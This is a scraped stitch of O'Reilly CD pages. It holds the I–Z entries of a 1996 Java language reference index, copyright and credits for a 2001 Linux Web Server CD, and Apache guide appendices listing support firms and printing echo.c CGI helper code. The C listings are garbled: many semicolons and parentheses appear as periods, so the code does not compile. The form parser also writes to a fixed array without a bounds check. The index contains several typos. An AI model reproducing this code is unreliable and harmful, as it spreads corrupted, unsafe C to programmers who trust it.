IllegalMonitorStateException exception : Runtime exceptions
IllegalStateException exception : Runtime exceptions
IllegalThreadStateException exception : Runtime exceptions
implements clause : Interfaces
import directive
Packages
The import Directive
in variable : System
inClass( ) : SecurityManager
inClassLoader( ) : SecurityManager
inclusive OR (|) operator : Bitwise/Logical Inclusive OR Operator |
IncompatibleClassChangeError error : Errors
increment (++) operator
Field Expressions
Increment/Decrement Operators
index expressions : Index Expressions
index, array (see arrays)
indexOf( )
String class : String
IndexOutOfBoundsException exception : Runtime exceptions
infinity values : Floating-point types
inheritance
Introduction
Inheritance
Class Inheritance
Constructor inheritance
Interface Inheritance
private methods and : Method name
init( ) : Applets
initializers
Variable initializers
Interface variable initializers
local variable : Local variable initializers
static : Static Initializers
insert( )
StringBuffer class : StringBuffer
instanceof operator : The instanceof Operator
InstantiationError error : Errors
InstantiationException exception : Other exceptions
int data type : Integer types
intBitsToFloat( : Float
Integer( ) : Integer
Integer class : Integer
integer data types : Integer types
integer literals : Integer literals
interface data types : Interface Types
casting
Casts
Casts
Casts
interfaces
Encapsulation
Interfaces
Interface Declarations
declaring : Lexical Scope of Declarations
import directive : The import Directive
modifiers for : Interface Modifiers
variables in : Interface Variables
intern( ) : String
InternalError error : Errors
interrupt( )
Interrupting a thread
Thread
interrupted( ) : Thread
InterruptedException exception
Interrupting a thread
Other exceptions
interrupting threads : Interrupting a thread
intValue( ) : Byte
Double class : Double
Integer class : Integer
Long class : Long
Number class : Number
Short class : Short
isAlive( ) : Thread
Thread class : Controlling a Thread
isArray( ) : Class
isAssignableFrom( ) : Class
isDaemon( ) : Daemon threads
Thread class : Thread
ThreadGroup class : ThreadGroup
isDestroyed( ) : ThreadGroup
isDigit( ) : Character
isIdentifierIgnorable( ) : Character
isInfinite( )
Double class
Double
Double
Float class
Float
Float
isInstance( ) : Class
isInterface( ) : Class
isInterrupted( )
Thread class
Interrupting a thread
Thread
isISOControl( ) : Character
isJavaIdentifierPart( ) : Character
isJavaIdentifierStart( ) : Character
isJavaLetter( ) : Character
isJavaLetterOrDigit( ) : Character
isLetter( ) : Character
isLetterOrDigit( ) : Character
isLowerCase( ) : Character
isNaN( )
Double class
Double
Double
Float class
Float
Float
isPrimitive( ) : Class
isSpace( ) : Character
isSpaceChar( ) : Character
isTitleCase( ) : Character
isUnicodeIdentifierPart( ) : Character
isUnicodeIdentifierStart( ) : Character
isUpperCase( ) : Character
isWhitespace( ) : Character
iteration statements : Iteration Statements
continue statement and : The continue Statement

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

J

Java Development Kit (JDK) : Compiling a Java Source File
.java files : Lexical Scope of Declarations
java interpreter : Running a Java Application
java.lang package : The java.lang Package
javac compiler : Compiling a Java Source File
javadoc program : Documentation Comments
join( ) : Thread
Thread class : Rendezvous

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

K

keywords : Keywords

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

L

labeled statements : Labeled Statements
lastIndexOf( ) : String
left shift (<<) operator : Left Shift Operator <<
length( )
String class : String
StringBuffer class : StringBuffer
length, array : Array Types
less-than (<) operator : Less-Than Operator <
less-than-or-equal-to (<=) operator : Less-Than-Or-Equal-To Operator <=
lexical scope : Lexical Scope of Declarations
lexical structure, Java : Notational Conventions
linefeed character
Division of the Input Stream into Lines
Character literals
lines, breaking programs into : Division of the Input Stream into Lines
LinkageError error : Errors
list( )
ThreadGroup class : ThreadGroup
literal expressions : Literal Expressions
literals
Literals
Constant Expressions
load( )
Runtime class : Runtime
System class : System
loadClass( )
ClassLoader
ClassLoader
loadLibrary( )
Runtime class : Runtime
System class : System
local variables : Local Variables
log( ) : Math
logical operators (see bitwise operators)
Long( ) : Long
Long class : Long
long data type : Integer types
long integers
Integer literals
Integer literals
longBitsToDouble( ) : Double
longValue( ) : Byte
Double class : Double
Float class : Float
Integer class : Integer
Long class : Long
Number class : Number
Short class : Short
loops : Iteration Statements
continue statement and : The continue Statement
lowercase (see Character class; case sensitivity)
<param> tag (HTML) : Embedding an Applet in a Web Page

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

M

main( ) : Applications
Math class : Math
max( ) : Math
MAX_PRIORITY constant : Thread priority
MAX_VALUE constants : Integer types
methods
A "Hello World" Program
Methods
associating with threads : Associating a Method with a Thread
declaring : Lexical Scope of Declarations
interface : Interface Methods
method call expressions : Method Call Expression
overloaded : Method Call Expression
overriding
Variable name
Method name
Method throws clause
selecting to invoke : Method Call Expression
super keyword and : super
min( ) : Math
minus (-) operator, unary : Unary Minus Operator -
MIN_PRIORITY constant : Thread priority
MIN_VALUE constants : Integer types
modifiers
class : Class Modifiers
constructor : Constructor modifiers
interface : Interface Modifiers
method
Method modifiers
Interface method modifiers
variable
Variable modifiers
Interface variable modifiers
modulus (see remainder operator)
more than (see greater than)
multi-dimensional arrays
Array Types
Array Allocation Expressions
Variable type
Local variable type
multiplication (*) operator, binary : Multiplication Operator *
multiplicative operators : Multiplicative Operators
multithreaded programs (see threads)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

N

name attribute (<applet> tag) : Embedding an Applet in a Web Page
names : Naming Conventions
classes : Class Name
constructors : Constructor name
filenames : Compiling a Java Source File
interface : Interface Name
labels : Labeled Statements
local variables : Local variable name
methods
Method name
Interface method name
package : Packages
variables
Variable name
Interface variable name
NaN value
Floating-point types
Double
Float
native methods : Method modifiers
negation (!) operator, boolean : Boolean Negation Operator !
negation (~) operator, bitwise : Bitwise Negation Operator ~
negative numbers
Integer types
Floating-point types
NEGATIVE_INFINITY constant
Floating-point types
Double
Float
unary minus (-) and : Unary Minus Operator -
zero : Floating-point types
NegativeArraySizeException exception : Runtime exceptions
nested
arrays (see multi-dimensional arrays)
statement blocks : Lexical Scope of Declarations
new operator : Array Types
newInstance( )
Object Creation
Other exceptions
Class
newsgroups, Java : Online Resources
NoClassDefFoundError error : Errors
non-preemptive thread scheduling : Yielding
NonZeroDigit characters : Integer literals
NoSuchFieldErorr error : Errors
NoSuchFieldException exception : Other exceptions
NoSuchMethodError error : Errors
NoSuchMethodException exception : Other exceptions
not operator (see negation operator)
not-a-number value
Floating-point types
Double
Float
not-equal-to (!=) operator : Not-Equal-To-Operator !=
notify( ) : Optimistic Single-Threaded Execution
Object class : Object
notifyAll( ) : Optimistic Single-Threaded Execution
Object class : Object
null value : Reference Types
null keyword
Reference Types
null
NullPointerException exception
null
Runtime exceptions
NumberFormatException exception
Runtime exceptions
Double
Float
numbers
Integer literals
constants
Integer types
Floating-point types
digits (see Character class)
floating-point : Floating-point types
Number class : Number
positive/negative zero : Floating-point types
sign of : Integer types
special : Floating-point types

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

O

Object( ) : Object
object attribute (<applet> tag) : Embedding an Applet in a Web Page
Object class
Specially supported classes
Casts
Inheritance
object-oriented style : Object-Orientation Java Style
objects
Reference Types
Object-Orientation Java Style
Object Creation
array (see arrays)
creating : Allocation Expressions
destroying (see garbage collection)
equality of : Equal-To Operator ==
Object class : Object
octal literals
Integer literals
Integer literals
OctalDigit characters : Integer literals
online documentation : Online Resources
operators
Operators
additive : Additive Operators
assignment
Operators
Assignment Operators
associativity of : Order of Operations
bitwise/logical : Bitwise/Logical Operators
boolean : Boolean Operators
cast : Casts
conditional (see ?: operator; boolean operators)
equality : Equality Comparison Operators
increment/decrement
Field Expressions
Increment/Decrement Operators
multiplicative : Multiplicative Operators
prcedence of : Order of Operations
relational : Relational Comparison Operators
shift : Shift Operators
unary : Unary Operators
optimistic single-threaded execution : Optimistic Single-Threaded Execution
OR (^) operator, bitwise : Bitwise/Logical Exclusive OR Operator ^
OR (|) operator, bitwise : Bitwise/Logical Inclusive OR Operator |
OR (||) operator, boolean : Boolean OR Operator ||
order of operations : Order of Operations
out variable : System
OutOfMemoryError error : Errors
overloaded methods
Method Call Expression
Method name
overriding methods
Variable name
Method name
Method throws clause

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

P

package directive : Packages
packages
Running a Java Application
Compilation Units
declaring : Lexical Scope of Declarations
searching : The import Directive
paint( ) : Applets
@param tag (javadoc) : Documentation Comments
parentheses (see ( ) (parentheses))
parenthetical expressions
Parenthetical Expressions
parentOf( ) : ThreadGroup
parseByte( ) : Byte
parseInt( ) : Integer
parseLong( ) : Long
parseShort( ) : Short
plus (+) operator, unary : Unary Plus Operator +
pointers (see references)
positive zero : Floating-point types
POSITIVE_INFINITY constant
Floating-point types
Double
Float
postfix expressions : Increment/Decrement Operators
increment/decrement operators : Postfix Increment/Decrement Operators
pow( ) : Math
pre-processing : Pre-Processing
precedence, operator : Order of Operations
preemptive thread scheduling : Yielding
prefix expressions : Increment/Decrement Operators
increment/decrement operators : Prefix Increment/Decrement Operators
primary expressions : Primary Expressions
primitive data types : Primitive Types
printing
stack traces : Printing Stack Traces
println( ) : A "Hello World" Program
printStackTrace( )
Printing Stack Traces
Throwable
priority, thread
Thread priority
yield( ) and sleep( ) : Yielding
private modifier
constructors and : Constructor modifiers
methods and
Method modifiers
Method name
variables : Encapsulation
variables and : Variable modifiers
Process class : Process
programs
applets : Applets
multithreaded (see threads)
pre-processing : Pre-Processing
program structure : Program Structure
properties, system : System
protected modifier
constructors and : Constructor modifiers
methods and : Method modifiers
variables and
Encapsulation
Variable modifiers
public modifier : Encapsulation
classes and : Class Modifiers
constructors and : Constructor modifiers
interfaces and : Interface Modifiers
methods and
A "Hello World" Program
Method modifiers
variables and : Variable modifiers
pure values : Expressions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

R

radix : Character
railroad diagrams : Notational Conventions
random( ) : Math
reference data types : Reference Types
references : Reference Types
casting : Casts
regionMatches( ) : String
relational operators : Relational Comparison Operators
remainder (%) operator : Remainder Operator %
rendezvous strategy (threads) : Rendezvous
replace( )
String class : String
resolveClass( ) : ClassLoader
resources on Java : Related Books
resume( ) : Explicit Synchronization
Thread class : Thread
ThreadGroup class : ThreadGroup
rethrowing exceptions : Rethrowing Exceptions
return statement (see if statement)
The return Statement
@return tag (javadoc) : Documentation Comments
return types
Method return type
Constructor return type
Interface method return type
reverse( )
StringBuffer class : StringBuffer
right shift (>>>) operator : Unsigned Right Shift Operator >>>
right shift (>>) operator : Right Shift Operator >>
rint( ) : Math
round( ) : Math
run( )
Runnable interface : Runnable
Thread class
Associating a Method with a Thread
Thread
runFinalization( )
Runtime class : Runtime
System class : System
runFinalizersOnExit( )
Runtime class : Runtime
System class : System
Runnable interface
Associating a Method with a Thread
Runnable
Runtime class : Runtime
runtime exceptions : Runtime exceptions
runtime typing : Introduction
RuntimeException exception
Declaring Exceptions
Runtime exceptions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

S

scheduling threads
Thread priority
Yielding
scope, declaration : Lexical Scope of Declarations
searching packages with import statement : The import Directive
security : Introduction
SecurityManager class : SecurityManager
SecurityException exception : Runtime exceptions
@see tag (javadoc) : Documentation Comments
selecting to invoke
constructors : Object Allocation Expressions
methods : Method Call Expression
semicolon (;) : Method implementation
separators : Separators
setDaemon( )
Daemon threads
ThreadGroup
Thread class : Thread
setErr( ) : System
setIn( ) : System
setLength( )
StringBuffer class : StringBuffer
setMaxPriority( ) : ThreadGroup
setName( )
Thread class : Thread
setOut( ) : System
setPriority( ) : Thread
Thread class : Thread priority
setProperties( )
System class : System
setSecurityManager( ) : System
setSigners( ) : ClassLoader
shadowed variables : Variable name
shift operators : Shift Operators
Short( ) : Short
Short class : Short
short data type : Integer types
shortValue( ) : Byte
Double class : Double
Float class : Float
Integer class : Integer
Long class : Long
Number class : Number
Short class : Short
sin( ) : Math
single-line comments (see comments)
single-precision numbers (see floating-point data types)
single-threaded execution : Single-Threaded Execution
sleep( ) : Yielding
Thread class : Thread
source files
Compiling a Java Source File
Compilation Units
Packages
sqrt( ) : Math
stack traces : Printing Stack Traces
StackOverflowError error : Errors
start( ) : Applets
Thread class
Associating a Method with a Thread
Thread
startsWith( ) : String
statements
blocks of
Lexical Scope of Declarations
Blocks
conditional : The if Statement
empty : The Empty Statement
iteration : Iteration Statements
labeled : Labeled Statements
target
The break Statement
The continue Statement
static modifier : Static Initializers
methods and
A "Hello World" Program
Method Call Expression
Method modifiers
variables and
Variable modifiers
Variable initializers
stop( ) : Applets
Thread class
Stopping a thread
Thread
ThreadGroup class : ThreadGroup
String( ) : String
String class : Specially supported classes
string concatenation (+) operator
null
String Concatenation Operator +
string literals
String literals
Specially supported classes
StringBuffer class : Specially supported classes
StringIndexOutOfBoundsException exception : Runtime exceptions
strings
String class : String
StringBuffer class : StringBuffer
subclasses (see classes; inheritance)
substring( ) : String
subtraction (-) operator, arithmetic : Arithmetic Subtraction Operator -
super keyword
super
Variable name
Constructor implementation
superclasses (see classes; inheritance)
suspend( ) : Explicit Synchronization
Thread class : Thread
ThreadGroup class : ThreadGroup
switch statement : The switch Statement
synchronized modifier
Method modifiers
Single-Threaded Execution
synchronized statement
The synchronized Statement
Single-Threaded Execution
synchronizing threads : Synchronizing Multiple Threads
syntax, Java : Notational Conventions
System class : System
System.err variable
A "Hello World" Program
System
System.in variable
A "Hello World" Program
System
System.out variable
A "Hello World" Program
System

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

T

tan( ) : Math
target statements
The break Statement
The continue Statement
terms : Primary Expressions
tertiary operator (see ?: operator)
this keyword
this
Constructor implementation
Local variable name
Thread( )
Associating a Method with a Thread
Thread
Thread class : Using Thread Objects
ThreadDeath class
Stopping a thread
Errors
threads
The synchronized Statement
Threads
daemon threads : Daemon threads
joining : Rendezvous
priority : Thread priority
synchronizing : Synchronizing Multiple Threads
Thread class : Thread
ThreadGroup class
Thread priority
Controlling groups of threads
ThreadGroup
throw statement
Specially supported classes
Data Type of an Expression
The throw Statement
Generating Exceptions
Throwable class
Generating Exceptions
The Exception Hierarchy
Throwable
throws clause
Method throws clause
Constructor throws clause
Interface method throws clause
Declaring Exceptions
toBinaryString( )
Integer class : Integer
Long class : Long
toCharArray( )
String class : String
toHexString( )
Integer class : Integer
Long class : Long
tokenization : Tokenization
toLowerCase( ) : Character
String class : String
toOctalString( )
Integer class : Integer
Long class : Long
toString( ) : Byte
Boolean class : Boolean
Byte class : Byte
Character class : Character
Class class : Class
Double class
Double
Double
Float class
Float
Float
Integer class
Integer
Integer
Long class
Long
Long
Object class : Object
Short class
Short
Short
String class : String
StringBuffer class : StringBuffer
Thread class : Thread
ThreadGroup class : ThreadGroup
Throwable class : Throwable
totalMemory( ) : Runtime
toTitleCase( ) : Character
toUpperCase( ) : Character
String class : String
traceInstructions( ) : Runtime
traceMethodCalls( ) : Runtime
transient variables : Variable modifiers
trapping exceptions (see exceptions)
trim( ) : String
TRUE constant : Boolean Type
TRUE value : Boolean
try statement
The throw Statement
Handling Exceptions
break statement and : The break Statement
continue statement and : The continue Statement
return statement and : The return Statement
two's complement notation : Integer types
type casts : Integer types

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

U

unary minus (+) operator : Unary Minus Operator -
unary operators : Unary Operators
unary plus (+) operator : Unary Plus Operator +
uncaughtException( )
Stopping a thread
ThreadGroup
Unicode 2.0 character set : The Unicode 2.0 Character Set
Unicode characters
Pre-Processing
Conversion to Unicode
Packages
Character
UnicodeDigit character : Identifiers
UnicodeLetter character : Identifiers
UnknownError error : Errors
UnsatisfiedLinkError error : Errors
unsigned right shift (>>>) operator : Unsigned Right Shift Operator >>>
uppercase (see Character class; case sensitivity)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

V

valueOf( )
Boolean class : Boolean
Byte class : Byte
Double class : Double
Float class : Float
Integer class : Integer
Long class : Long
Short class : Short
String class : String
variables (see also data types)
Reference Types
Object-Orientation Java Style
assigning to (see assignment operators)
class, declaring : Variables
initializing (see initializers)
interface : Interface Variables
local : Local Variables
naming : Local variable name
shadowed : Variable name
VerifyError error : Errors
@version tag (javadoc) : Documentation Comments
virtual machine
Runtime class : Runtime
VirtualMachineError error : Errors
Void class : Void
void keyword
A "Hello World" Program
Expressions
Method return type
volatile variables : Variable modifiers
vspace attribute (<applet> tag) : Embedding an Applet in a Web Page

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

W

wait( ) : Optimistic Single-Threaded Execution
Object class
Object
Object
waitFor( )
Process class : Process
while statement
The while Statement
white space
Lexical Analysis
White Space
width attribute (<applet> tag) : Embedding an Applet in a Web Page
World Wide Web
embedding applets in : Embedding an Applet in a Web Page
Java Web site : Online Resources

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Y

yield( )
Yielding
Thread

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Z

zero value
dividing by : Division Operator /
as floating-point number : Floating-point types

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


O'Reilly Copyright Statement

The Linux Web Server CDSearch this book

By O'Reilly & Associates, Inc.
ISBN: 0-596-00208-4
Published by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472

Manufacturing History

August 2001: Version 1.0

Copyright © 2001 by O'Reilly & Associates, Inc. All rights reserved.

This CD-ROM is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this reference library available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this book without the explicit written permission of O'Reilly & Associates, Inc. If you would like to discuss licensing for multiple users, contact service@oreilly.com.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. or from bookstores that carry O'Reilly & Associates books.

Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc., was aware of the trademark claim, the designations have been printed in caps or initial caps.

While every precaution has been taken in the preparation of this book, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Questions, comments, and suggestions to bookquestions@ora.com.


Credits

The CD

Product Manager
Linda Walsh
Production Editor
Ellie Cutler
Technical Development and Tools
Erik Ray
Graphics and Design
Ellie Volckhausen, Emma Colby
Production Assistance
Kate Briggs, John Chodacki, Julie Drouin
Testing and Quality Assurance
Chris Olson, Kate Briggs, Julie Drouin, Paul LaBrier, Madeleine Newell
CD-ROM Search Engine
QuestAgent Pro version 4.0.9 from JObjects.

The Books

Linux in a Nutshell
By Ellen Siever, Stephen Spainhour, Stephen Figgins and Jessica P. Hekman
0-596-00025-1
Third Edition, August 2000

Running Linux
By Matt Welsh, Matthias Kalle Dalheimer and Lar Kaufman
1-56592-469-X
Third Edition, August 1999

Apache: The Definitive Guide
By Ben Laurie and Peter Laurie
1-56592-528-9
Second Edition, February 1999

MySQL & mSQL
By Randy Jay Yarger, George Reese and Tim King
1-56592-434-7
First Edition, July 1999

Programming the Perl DBI
By Alligator Descartes and Tim Bunce
1-56592-699-4
First Edition, February 2000

CGI Programming with Perl
By Scott Guelich, Shishir Gundavaram and Gunther Birznieks
1-56592-419-3
Second Edition, July 2000


The Linux Web Server CD Bookshelf

Linux in a Nutshell, 3rd Edition
By Ellen Siever, Stephen Spainhour, Stephen Figgins and Jessica P. Hekman
Running Linux, 3rd Edition
By Matt Welsh, Matthias Kalle Dalheimer and Lar Kaufman
Apache: The Definitive Guide, 2nd Edition
By Ben Laurie and Peter Laurie
MySQL & mSQL
By Randy Jay Yarger, George Reese and Tim King
Programming the Perl DBI
By Alligator Descartes and Tim Bunce
CGI Programming with Perl, 2nd Edition
By Scott Guelich, Shishir Gundavaram and Gunther Birznieks

Search All Six Books
Master Index

Copyright
Credits

The Linux Web Server CD Bookshelf, Version 1.0, is copyright © 2001 by O'Reilly & Associates, Inc. All rights reserved.
Questions, comments, and suggestions to bookquestions@oreilly.com.

This product is printed with 100% recycled electrons.


Support Organizations (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Appendix A. Support Organizations

The following organizations provide consultation and/or technical support for the Apache web server:

A.B. Enterprises (FutureFX)

Services : Publishing services, web hosting and design, and custom intranet/

Internet servers

Contact : Jason S. Clary

Address : 4401 Blystone Lane, Plano, TX 75093

Phone : (972) 596-1196 or (800) 600-0786 (toll free in United States)

Fax : (972) 596-3837

Email : abent@futurefx.com

Web site : http://www.futurefx.com/

C2Net Software, Inc.

Services : Produces/sells a commercial version of Apache called Stronghold

Contact : Stronghold Sales (510)-986-8770

Address : 1212 Broadway Suite 1400, Oakland, CA 94612

Phone : (510) 986-8770

Email : stronghold-sales@c2.net

Web site : http://www.c2.net/

Steam Tunnel Operations

Services : Apache support and development

Web site : http://www.steam.com/

UK Web

Services : Technical support and consultancy for Apache. Distributor of Stronghold secure server and SafePassage secure client. Apache Week web site for Apache news and technical information.

Contact : Mark Cox, Technical Director

Address : 46 The Calls, Leeds, LS2 7EY, United Kingdom

Phone : +44 (113) 222-0046

Fax : +44 (113) 244-8102

Email : business@ukweb.com

Web sites : http://www.ukweb.com/, http://stronghold.ukweb.com/ http://www.apacheweek.com/

Covalent Technologies, Inc.

Services : Internet commerce solutions, commercial software and security development, and full technical support.

Address : 1200 N Street, Ste.112, Lincoln, NE 68508

Phone : (402) 441-5710

Fax : (402) 441-5720

Email : info@covalent.net

Web site : http://www.covalent.net/

Previous | Home | Next
15.5. General Hints | Book Index | B. The echo Program
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The echo Program (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Appendix B. The echo Program

The following listing is echo.c :

#include <stdio.h>
#include <stdlib.h>
#define MAX_ENTRIES 10000
typedef struct
    {
    char *name;
    char *val;
    } entry;
char *makeword(char *line, char stop);
char *fmakeword(FILE *f, char stop, int *len);
char x2c(char *what);
void unescape_url(char *url);
void plustospace(char *str);
int main(int argc, char *argv[])
    {
    entry entries[MAX_ENTRIES];
    register int x,m=0;
    int cl;
    char mbuf[200];
    printf("Content-type: text/html\n\n");
    if(strcmp(getenv("REQUEST_METHOD"),"POST"))
        {
        printf("This script should be referenced with a METHOD of POST.\n");
        exit(1);
        }
    if(strcmp(getenv("CONTENT_TYPE"),"application/x-www-form-urlencoded"))
        {
        printf("This script can only be used to decode form results. \n");
        exit(1);
        }
    cl = atoi(getenv("CONTENT_LENGTH"));
// Returns the length of data to come.
    for(x=0;cl && (!feof(stdin));x++)
        {
        m=x;
        entries[x].val = fmakeword(stdin,'&',&cl);
        plustospace(entries[x].val);
        unescape_url(entries[x].val);
        entries[x].name = makeword(entries[x].val,'=');
        }
//Reads in the data, breaking at the "&" symbols
    printf("<H1>Query Results</H1>");
//Sends the top of the return HTML document.
    printf("You submitted the following name/value pairs:<p>%c",10);
    printf("<ul>%c",10);
    for(x=0; x <= m; x++)
        printf("<li> <code>%s = %s</code>%c",entries[x].name,
               entries[x].val,10);
//Lists the fields in the original form with the values filled in by
//the customer.
    printf("</ul>%c",10);
}

This listing is the helper program echo2.c:

#include <stdio.h>
#define CR 13
#define LF 10
void getword(char *word, char *line, char stop) {
    int x = 0,y;
    for(x=0;((line[x]) && (line[x] != stop));x++)
        word[x] = line[x];
    word[x] = '\0'.
    if(line[x]) ++x;
    y=0;
    while(line[y++] = line[x++]);
}
char *makeword(char *line, char stop) {
    int x = 0,y;
    char *word = (char *) malloc(sizeof(char) * (strlen(line) + 1));
    for(x=0;((line[x]) && (line[x] != stop));x++)
        word[x] = line[x];
    word[x] = '\0'.
    if(line[x]) ++x;
    y=0;
    while(line[y++] = line[x++]);
    return word;
}
char *fmakeword(FILE *f, char stop, int *cl) {
    int wsize;
    char *word;
    int ll;
    wsize = 102400;
    ll=0;
    word = (char *) malloc(sizeof(char) * (wsize + 1));
    while(1) {
        word[ll] = (char)fgetc(f);
        if(ll==wsize) {
            word[ll+1] = '\0'.
            wsize+=102400;
            word = (char *)realloc(word,sizeof(char)*(wsize+1));
        }
        --(*cl);
        if((word[ll] == stop) || (feof(f)) || (!(*cl))) {
            if(word[ll] != stop) ll++;
            word[ll] = '\0'.
            return word;
        }
        ++ll;
    }
}
char x2c(char *what) {
    register char digit;
    digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A'.+10 :
               (what[0] - '0'.);
    digit *= 16;
    digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A'.+10 :
               (what[1] - '0'.);
    return(digit);
}
void unescape_url(char *url) {
    register int x,y;
    for(x=0,y=0;url[y];++x,++y) {
        if((url[x] = url[y]) == '%'. {
            url[x] = x2c(&url[y+1]);
            y+=2;
        }
    }
    url[x] = '\0'.
}
void plustospace(char *str) {
    register int x;
    for(x=0;str[x];x++) if(str[x] == '+'. str[x] = ' ';
}
int rind(char *s, char c) {
    register int x;
    for(x=strlen(s) - 1;x != -1; x--)
        if(s[x] == c) return x;
    return -1;
}
int getline(char *s, int n, FILE *f) {
    register int i=0;
    while(1) {
        s[i] = (char)fgetc(f);
        if(s[i] == CR)
            s[i] = fgetc(f);
        if((s[i] == 0x4) || (s[i] == LF) || (i == (n-1))) {
            s[i] = '\0'.
            return (feof(f) ? 1 : 0);
        }
        ++i;
    }
}
void send_fd(FILE *f, FILE *fd)
{
    int num_chars=0;
    char c;
    while (1) {
        c = fgetc(f);
        if(feof(f))
            return;
        fputc(c,fd);
    }
}
int ind(char *s, char c) {
    register int x;
    for(x=0;s[x];x++)
        if(s[x] == c) return x;
    return -1;
}
void escape_shell_cmd(char *cmd) {
    register int x,y,l;
    l=strlen(cmd);
    for(x=0;cmd[x];x++) {
        if(ind("&;'.q\"|*?~<>^()[]{}$\\",cmd[x]) != -1){
            for(y=l+1;y>x;y--)
                cmd[y] = cmd[y-1];
            l++; /* length has been increased */
            cmd[x] = '\\'.
            x++; /* skip the character */
        }
    }
}
Previous | Home | Next
A. Support Organizations | Book Index | C. NCSA and Apache Compatibility
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


NCSA and Apache Compatibility (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Appendix C. NCSA and Apache Compatibility

This email was sent by Alexei Kosut to the members of the Apache Group to explain the compatibility problems between the NCSA server and Apache 1.1.1.

There has been some discussion lately about the end of NCSA httpd development, and Apache replacing it for once and all, and so forth and so on...anyhow, I just thought I'd take this opportunity to point out what NCSA httpd 1.5.2 does that Apache does not currently do, feature and config-file wise:

  • NCSA supplements the Redirect directive with the RedirectTemp and RedirectPermanent directives, to allow for 301 redirects as well as 302. This is very simple to do.

  • NCSA optionally supports Kerberos authentication. I know there's a module out there that does as well; is it compatible with the NCSA syntax?

